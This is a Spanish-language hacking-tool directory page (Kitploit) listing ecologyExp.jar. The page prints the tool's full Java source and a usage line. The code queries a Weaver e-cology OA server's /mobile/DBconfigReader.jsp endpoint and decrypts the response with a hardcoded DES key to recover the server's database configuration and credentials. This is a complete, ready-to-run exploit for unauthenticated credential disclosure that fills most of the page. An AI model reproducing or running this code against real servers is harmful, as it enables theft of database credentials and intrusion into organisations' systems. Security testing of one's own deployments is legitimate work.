Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ecologyExp.jar — Lectura del archivo de configuración de la base de datos de Weaver OA | Kitploit
Herramientas/GitHubGitHub/ianxtianxt/ecologyexp.jar
Herramientas de Cifrado/DescifradoAnálisis de VulnerabilidadesExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de Penetración
GitHubianxtianxt/ecologyexp.jar

ecologyExp.jar

Lectura del archivo de configuración de la base de datos de Weaver OA

Ver Repositorio
1710hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ecologyExp.jar

Lectura del archivo de configuración de la base de datos de Weaver OA java -jar ecologyExp.jar http://127.0.0.1

Código fuente package com.test;

import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom;

public class ReadDbConfig { private final static String DES = "DES"; private final static String key = "1z2x3c4v5b6n";

root@kitploit:~
public static void main(String[] args) throws Exception {
    if(args[0]!=null&& args[0].length() !=0){
        String url = args[0]+"/mobile/DBconfigReader.jsp";
        System.out.println(ReadConfig(url));
    }else{
        System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
    }
}

private static String ReadConfig(String url) throws Exception {
    CloseableHttpClient httpClient = HttpClientBuilder.create().build();
    HttpGet httpGet = new HttpGet(url);
    CloseableHttpResponse response = httpClient.execute(httpGet);
    HttpEntity responseEntity = response.getEntity();

    byte[] res1 = EntityUtils.toByteArray(responseEntity);

    byte[] data = subBytes(res1,10,res1.length-10);

    byte [] finaldata =decrypt(data,key.getBytes());

    return (new String(finaldata));
}

private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

    SecureRandom sr = new SecureRandom();
    DESKeySpec dks = new DESKeySpec(key);
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
    SecretKey securekey = keyFactory.generateSecret(dks);
    Cipher cipher = Cipher.getInstance(DES);
    cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

    return cipher.doFinal(data);
}

public static byte[] subBytes(byte[] src, int begin, int count) {
    byte[] bs = new byte[count];
    System.arraycopy(src, begin, bs, 0, count);
    return bs;
}

}

Descargar herramienta